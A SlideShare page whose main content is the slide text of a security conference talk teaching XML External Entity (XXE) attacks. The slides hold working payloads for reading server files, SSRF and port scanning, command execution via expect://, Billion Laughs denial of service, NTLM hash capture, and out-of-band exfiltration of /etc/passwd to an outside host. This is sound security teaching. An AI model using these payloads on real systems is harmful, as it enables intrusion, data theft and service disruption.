Douglas Crockford Presentation JsonsagaAjax Experience 2009
 
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1Marco Gralike
 
Jsonsaga
JsonsagaJsonsaga
Jsonsaganohmad
 
The JSON Saga
The JSON SagaThe JSON Saga
The JSON Sagakaven yan
 
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...Marco Gralike
 
Boost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
Boost Your Environment With XMLDB - UKOUG 2008 - Marco GralikeBoost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
Boost Your Environment With XMLDB - UKOUG 2008 - Marco GralikeMarco Gralike
 
Being HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on PurposeBeing HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on PurposeAman Kohli
 
Working With XML in IDS Applications
Working With XML in IDS ApplicationsWorking With XML in IDS Applications
Working With XML in IDS ApplicationsKeshav Murthy
 
Golang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war storyGolang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war storyAerospike
 

Ähnlich wie XXE: How to become a Jedi (20)

XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
 
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
 
XML Tools for Perl
XML Tools for PerlXML Tools for Perl
XML Tools for Perl
 
Parsing XML Data
Parsing XML DataParsing XML Data
Parsing XML Data
 
Jsonsaga 100605143125-phpapp02
Jsonsaga 100605143125-phpapp02Jsonsaga 100605143125-phpapp02
Jsonsaga 100605143125-phpapp02
 
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office HoursIVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
 
Douglas Crockford Presentation Jsonsaga
Douglas Crockford Presentation JsonsagaDouglas Crockford Presentation Jsonsaga
Douglas Crockford Presentation Jsonsaga
 
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
 
Jsonsaga
JsonsagaJsonsaga
Jsonsaga
 
The JSON Saga
The JSON SagaThe JSON Saga
The JSON Saga
 
Processing XML with Java
Processing XML with JavaProcessing XML with Java
Processing XML with Java
 
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
 
Ajax xml json
Ajax xml jsonAjax xml json
Ajax xml json
 
前端概述
前端概述前端概述
前端概述
 
Boost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
Boost Your Environment With XMLDB - UKOUG 2008 - Marco GralikeBoost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
Boost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
 
Solr features
Solr featuresSolr features
Solr features
 
Plone server
Plone serverPlone server
Plone server
 
Being HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on PurposeBeing HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on Purpose
 
Working With XML in IDS Applications
Working With XML in IDS ApplicationsWorking With XML in IDS Applications
Working With XML in IDS Applications
 
Golang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war storyGolang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war story
 

Kürzlich hochgeladen

Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxLoriGlavin3
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESmohitsingh558521
 

Kürzlich hochgeladen (20)

Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
 

XXE: How to become a Jedi

  • 1. XXE: How to become a Jedi Yaroslav Babin
  • 2. • @yarbabin • Web Security Warrior @ Positive Technologies • BugBounty, CTF @ Antichat (а лучше бы рисечил) • JBFC WHOAMI
  • 3. • Script Kiddie • Master • Jedi Levels
  • 5. <?xml version="1.0"?> <!DOCTYPE name [<!ELEMENT name ANY>]> <name>ZeroNights</name> • RSS, Configs • SOAP • SVG, XMP • XMPP XML Basics
  • 6. <?xml version="1.0"?> <!DOCTYPE name [<!ELEMENT name ANY>]> <name>ZeroNights</name> Prolog Document Type Definition Document XML Basics
  • 7. <?xml version="1.0"?> <!DOCTYPE name [<!ELEMENT name ANY>]> <name>ZeroNights</name> Hello, ZeroNights XML Basics
  • 8. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol “ZeroNights”>]> <name>&lol;</name> Hello, ZeroNights Document Type Definition: Entity lol = “ZeroNights”
  • 9. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]> <name>&lol;</name> Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin Document Type Definition: External Entity lol = readfile(“file:///etc/passwd”)
  • 10. • DNS/HTTP • Parser errors • Very large files • /dev/urandom • /dev/zero How To Check?
  • 11. <?xml version="1.0"?> <!DOCTYPE name [<!ENTITY lol SYSTEM “http://dns.sniff/chk”>]> <name>&lol;</name> Hello, 123 DNS/HTTP lol = readfile(“http://dns.sniff/chk”) $ cat chk 123 1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET /chk HTTP/1.1" 200 3 "-" $ cat /var/log/apache2/access.log
  • 12. <?xml version="1.0"?> <!DOCTYPE name SYSTEM “http://dns.sniff/chk”> <name>1</name> 1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET /chk HTTP/1.1" 200 3 "-" DNS/HTTP lol = readfile(“http://dns.sniff/chk”) $ cat /var/log/apache2/access.log
  • 13. <?xml version="1.0"?> <!DOCTYPE name SYSTEM “http://no.resolve/”> <name>1</name> JAXBException occurred: Connection Timeout Parser Errors Non resolving host Response
  • 14. <?xml version="1.0"?> <!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]> <name>&lol;</name> Large Files lol = readfile(“file:///deb/urandom”) Pinging 192.168.0.1 with 32 bytes of data: Request time out. C:>ping 192.168.0.1 ¯_(ツ)_/¯
  • 16. • Arbitrary file reading • Sometimes directory listing • SSRF • Port scanning • SMB • Wrappers • DOS • Billion Laughs Attack • Large file Attack vectors
  • 17. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]> <name>&lol;</name> Arbitrary File Reading Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lol = readfile(“file:///etc/passwd”)
  • 18. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///”>]> <name>&lol;</name> Directory Listing (Java) Hello, bin boot dev etc lol = readfile(“file:///”)
  • 19. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “ftp://localhost/1.txt”> ]> <name>&lol;</name> Directory Listing (Java) Hello, file_content • https:// • ftps:// • gopher:// • etc
  • 20. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “http://localhost:81”>]> <name>&lol;</name> Port Scanning Hello, INTERNAL WEB SERVER
  • 21. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “smb_shareC$1.txt”>]> <name>&lol;</name> Windows Share Hello, file_content
  • 22. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “php://filter/convert.base64- encode/resource=/etc/passwd”> ]> <name>&lol;</name> Wrappers Hello, cm9vdDp4OjA6MDpyb290Oi9yb290Oi 9iaW4vYmFzaApkYWVtb246eDoxOjE6Z GFlbW9uOi91c3Iv… • data:// • phar:// • rar:// • etc
  • 23. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “expect://id”> ]> <name>&lol;</name> Wrappers (RCE) Hello, uid=0(root) gid=0(root) groups=0(root) By default off
  • 24. <?xml version="1.0"?> <!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]> <name>&lol;</name> DOS (Large File) lol = readfile(“file:///deb/urandom”) Pinging 192.168.0.1 with 32 bytes of data: Request time out. C:>ping 192.168.0.1 ¯_(ツ)_/¯
  • 25. <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY a0 “lol" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> ... <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> ]> <data>&a10;</data> DOS (Billion Laughs Attack)
  • 26. • Direct output • Output in response • Error-based • DTD structure • XML schema validation • Out-of-band • NO output required • Blind-based • XSD values bruteforce Exploitation Techniques
  • 27. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]> <name>&lol;</name> Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin Direct Output lol = readfile(“file:///etc/passwd”)
  • 28. <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> <r>&exfil;</r> Out-Of-Band <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://1.3.3.7/?%data;'>"> data = readfile(“/etc/passwd”) 192.168.0.1 - - [17/Nov/2017:13:37:00 +0300] “GET /? root:x:0:0:root:/root:/bin /bash
  • 29. <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> Error Based <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http%data;://1.3.3.7/;'>"> data = readfile(“/etc/passwd”)
  • 30. • Quotes • Well-Formed Documents (< > &) • Privileges Constraints
  • 31. • OOXML (DOCX, XLSX, PPTX), ODF, PDF, RSS • SVG, XMP • WebDAV, XMLRPC, SOAP, XMPP, SAML • Databases • etc XML
  • 32. 4ML ARMLL BiblioML CIDX eBIS-XML HTTP-DRP MatML ODRL PrintTalk SHOE UML XML F AML ARMLL BCXML xCIL ECML HumanML MathML OeBPS ProductionML SIF UBL XML Key AML ASMLL BEEP CLT eCo HyTime MBAM OFX PSL SMML UCLP XMLife AML ASMLL BGML CNRP EcoKnow IML MISML OIL PSI SMBXML UDDI XML MP AML ASTM BHTML ComicsML edaXML ICML MCF OIM QML SMDL UDEF XML News AML ATMLL BIBLIOML Covad xLink EMSA IDE MDDL OLifE QAML SDML UIML XML RPC AML ATMLL BIOML CPL eosML IDML MDSI-XML OML QuickData SMIL ULF XML Schema ABML ATMLL BIPS CP eXchangeESML IDWG Metarule ONIX DTD RBAC SOAP UMLS XML Sign ABML ATMLL BizCodes CSS ETD-ML IEEE DTD MFDX OOPML RDDl SODL UPnP XML Query ACML AWMLL BLM XML CVML FieldML IFX MIX OPML RDF SOX URI/URL XML P7C ACML AXMLL BPML CWMI FINML IMPP MMLL OpenMath RDL SPML UXF XML TP ACAP AXMLL BRML CycML FITS IMS Global MML Office XML RecipeML SpeechML VML XMLVoc ACS X12 AXMLL BSML DML FIXML InTML MML OPML RELAX SSML vCalendar XML XCI ADML AXMLL CML DAML FLBC IOTP MML OPX RELAX NG STML vCard XAML AECM BMLL xCML DaliML FLOWML IRML MoDL OSD REXML STEP VCML XACML AFML BMLL CaXML DaqXML FPML IXML MOS OTA REPML STEPML VHG XBL AGML BMLL CaseXML DAS FSML IXRetail MPML PML ResumeXML SVG VIML XSBEL AHML BMLL xCBL DASL GML JabberXML MPXML PML RETML SWAP VISA XML XBN AIML BMLL CBML DCMI GML JDF MRML PML RFML SWMS VMML XBRL AIML BMLL CDA DOI GML JDox MSAML PML RightsLang SyncML VocML XCFF AIF BannerrMLLCDF DeltaV GXML JECMM MTML PML RIXML TML VoiceXML XCES AL3 BCXMLL CDISC DIG35 GAME JLife MTML PML RoadmOPS TML VRML Xchart ANML BEEP CELLML DLML GBXML JSML MusicXML PML RosettaNet PIPTML WAP Xdelta ANNOTEABGMLL ChessGML DMML GDML JSML NAML PML RSS TalkML WDDX XDF ANATML BHTMLL ChordML DocBook GEML JScoreML xNAL P3P RuleML TaxML WebML XForms APML BIIBLLIIOMLLChordQL DocScope GEDML KBML NAA Ads PDML SML TDL WebDAV XGF APPML BIIOMLL CIM DoD XML GEN LACITO Navy DTD PDX SML TDML WellML XGL AQL BIIPS CIML DPRL GeoLang LandXML NewsML PEF XML SML TEI WeldingXMXLGMML APPEL BiizzCodess CIDS DRI GIML LEDES NML PetroML SML ThML Wf-XML XHTML ARML BLLM XMLL CIDX DSML GXD LegalXML NISO DTB PGML SAML TIM WIDL XIOP ARML BPMLL xCIL DSD GXL Life Data NITF PhysicsML SABLE TIM WITSML XLF ASML BRMLL CLT DXS Hy XM LitML NLMXML PICS SAE J2008 TMML WorldOS XLIFF ASML BSMLL CNRP EML HITIS LMML NVML PMML SBML TMX WSML XLink ASTM BBCXXMLL ComicsML EML HR-XML LogML OAGIS PNML Schemtron TP WSIA XMI ARML BBEEEEPP CIM DLML HRMML LogML OBI PNML SDML TPAML XML XMSG ARML BBGMLL CIML EAD HTML LTSC XML OCF PNG SearchDM-XMLTREX XML CourtXMTP ASML BBHTTMLL CIDS ebXML HTTPL MAML ODF PrintML SGML TxLife XML EDI XNS XML
  • 33. • zip://your_doc.docx: • docProps/ • word/ • _rels/ • [Content_Types].xml OOXML (Microsoft Office)
  • 34. • zip://your_odt.odt: • META-INF/ • content.xml • meta.xml • mimetype • settings.xml • styles.xml OpenOffice
  • 35. Adobe’s Extensible Metadata Platform (XMP) is a file labeling technology that lets you embed metadata into files themselves during the content creation process. Adobe XMP V for Vendetta, X for XML
  • 36. <?xpacket begin="?" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.4-c002 1.000000, 0000/00/00-00:00:00"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> </rdf:RDF> </x:xmpmeta> <?xpacket end="w"?> Adobe XMP
  • 37. > select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>'); ERROR: invalid XML document DETAILS: /etc/passwd:28: parser error : StartTag: invalid element name root:x:0:0:root:/root:/bin/bash XML Parsers In Databases (PostgreSQL)
  • 38. > select extractvalue(xmltype('<?xml version="1.0" encoding=" UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM " ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual; XML Parsers In Databases (Oracle, CVE-2014-6577) > USER SYSTEM 331 Password required for system PASS *** $ ruby ftp.rb
  • 39. POST /api HTTP/1.1 Host: api.host Content-Type: application/json {“name”:”ZeroNights”} JSON Parser Hello, ZeroNights
  • 40. POST /api HTTP/1.1 Host: api.host Content-Type: application/xml <name>ZeroNights</name> JSON Parser Hello, ZeroNights
  • 41. Jedi
  • 42. msf > use auxillary/server/capture/http_ntlm [*] Local IP: http://1.3.3.7/capture [*] Server started. Pass The Hash
  • 43. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “http://1.3.3.7/capture”>]> <name>&lol;</name> Pass The Hash
  • 45. • No direct output, no errors • DNS request works • HTTP via 80 port not working • It's not exploitable Firewall
  • 46. • No direct output, no errors • DNS request works • HTTP via 80 port not working • It's not exploitable • Try to use another port Firewall f*ck off (:
  • 47. <?xml version="1.0“ encoding=“UTF-8” standalone=“no”?> Prolog: Optional Attributes • When yes: ignore declarations (only validation) • By default: no
  • 48. <?xml version="1.0“ encoding=“UTF-8” standalone=“no”?> Prolog: Optional Attributes And Encodings • UTF-16LE, UTF-16BE • UTF-7 • etc <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE x +AFsAPAAh-ENTITY z SYSTEM +ACI- /etc/passwd+ACIAPgBdAD4APA- x+AD4AJg-z+ADsAPA-/x+AD4
  • 49. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol PUBLIC “lol” “file:///etc/passwd”>]> <name>&lol;</name> Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin PUBLIC “same” the SYSTEM lol = readfile(“file:///etc/passwd”) Any text
  • 50. • <tag xsi:schemaLocation=“…”/> • <tag xsi:noNamespaceSchemaLoca8on=“…”/> • <xs:include schemaLocation=“…”> • <xs:import schemaLocation=“…”> • <?xml-stylesheet href=“…”?> Other Parsers
  • 51. <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/a.xml"> %remote; %intern; %trick; ]> Java Problems (<1.7) <!ENTITY % payl SYSTEM "/"> <!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http://1.3.3.7/?%payl;'>"> 1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET /?bin%0Aboot%0Adev%0Aetc… $ cat /var/log/apache2/access.log
  • 52. <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/a.xml"> %remote; %intern; %trick; ]> Java Problems (>=1.7) <!ENTITY % payl SYSTEM "/"> <!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http://1.3.3.7/?%payl;'>"> java.net.MalformedURLException: Illegal character in URL Response
  • 53. <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/a.xml"> %remote; %intern; %trick; ]> Java Problems (From 1.7 To 1.8.131) <!ENTITY % payl SYSTEM "/"> <!ENTITY % intern "<!ENTITY &#37; trick SYSTEM ‘ftp://1.3.3.7/%payl;'>"> New client connected < USER anonymous < PASS Java1.7.0_45@ > 230 more data please! < TYPE I > 230 more data please! < CWD bin … $ ruby ftp.rb
  • 54. • Java • Xerces, Crimson, Piccolo • PHP • SimpleXML, XMLReader, DOMDocument (LibXML) • Perl • Twig, LibXml • .NET • XmlReader, XmlDocument • Python • Etree, xml.sax, pulldom, lxml • Ruby • REXML, Nokogiri Parsers
  • 55. • XXE, Burp Suite plugin • XXE Internet Explorer • XXE Yandex • XXE JSON Examples
  • 62. • @a66at • @mohemiv • @okiok • https://phonexicum.github.io/infosec/xxe.html • http://lab.onsec.ru/2012/06/postgresql-all-error-based-xxe-0day.html • http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html • https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf • https://www.sans.org/reading-room/whitepapers/application/hands-on-xml-external-entity- vulnerability-training-module-34397 • http://www.slideshare.net/d0znpp/onsec-phdays-2012-xxe-incapsulated-report • https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/ References & Thx